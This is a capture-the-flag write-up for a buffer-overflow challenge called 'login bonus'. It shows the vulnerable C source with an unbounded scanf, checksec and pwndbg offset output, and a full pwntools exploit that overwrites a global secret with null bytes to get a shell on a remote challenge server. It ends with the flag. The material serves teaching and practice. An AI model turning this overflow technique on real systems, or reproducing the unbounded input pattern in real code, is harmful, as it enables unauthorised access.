login bonus
Bufferoverflow
Recon
Lets check the source code first.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/random.h>
#define debug_report(fmt, ...) printf("[DEBUG] " fmt "\n", ##__VA_ARGS__)
char password[32];
char secret[32];
int main() {
/* Input password */
printf("Password: ");
scanf("%[^\n]", password);
/* Check password */
debug_report("Authenticating...");
if (strcmp(password, secret)) {
puts("[-] Wrong password");
debug_report("'%s' != '%s'", password, secret);
} else {
puts("[+] Success!");
system("/bin/sh");
}
return 0;
}
__attribute__((constructor))
void setup() {
int seed;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
/* Generate random password */
debug_report("Generating secure password...");
getrandom(&seed, sizeof(seed), 0);
srand(seed);
for (size_t i = 0; i < 16; i++)
secret[i] = 'A' + (rand() % 26);
}
Okay as we can see in that source code the variable password and secret is GLOBAL VARIABLE. Because he isn’t at any function.
After we checksec
pwndbg> checksec
File: /home/claritys/ctf/alpacahack/pwn/login-bonus/login
Arch: amd64
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
The protection is PIE enabled and Full RELRO, so we can’t GOT Overwrite and can’t ret2win because we can’t leak the PIE.
Vulnerability
There is a bufferoverflow vulnerability, because the scanf doesn’t limit the input we can insert to the password variable, but only stops when the program meets \n (^ in that code means negation, so if the scanf found \n, it will stop).
scanf("%[^\n]", password);
Luckly there’s a leak for the secret variable (even though we can still exploit it without that), so we can inspect the secret variable when we are bufferoverflowing it.
Exploit plan
Firstly, we search the offset to the secret variable
pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
pwndbg> r
Starting program: /home/claritys/ctf/alpacahack/pwn/login-bonus/login
[DEBUG] Generating secure password...
Password: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[DEBUG] Authenticating...
[-] Wrong password
[DEBUG] 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa' != 'eaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
[Inferior 1 (process 352783) exited normally]
pwndbg> cyclic -l eaaaaaaa
Finding cyclic pattern of 8 bytes: b'eaaaaaaa' (hex: 0x6561616161616161)
Found at offset 32
Okay we know the offset which is 32. So now we can write the exploit now. Honestly its simple, we can just fill the password with null (\x00) 32 times and then send \n.
We can write the exploit just like this:
payload = b'\x00' * 32
r.sendline(payload)
It works locally.
Now lets test it remotely.
Done
Exploit
#!/usr/bin/env python3
from pwn import *
elf = ELF("login_patched")
context.binary = elf
context.terminal = ["ghostty", "-e"]
# Use the portable pwndbg bundle (/usr/local/bin/pwndbg) as the gdb pwntools launches.
# It ships its own gdb+python and loads pwndbg itself, so there is no gdbinit.py to source.
context.gdb_binary = "pwndbg"
if args.DEBUG:
context.log_level = "debug"
gdbscript = """
set pagination off
set confirm off
break main
continue
"""
def conn():
if args.GDB:
r = process([elf.path])
gdb.attach(r, gdbscript=gdbscript)
return r
if args.LOCAL:
return process([elf.path])
return remote("34.170.146.252", 22663)
def main():
r = conn()
payload = b'\x00' * 32
r.sendline(payload)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
Flag
Alpaca{h0w_d1d_U_gu3s5_i7}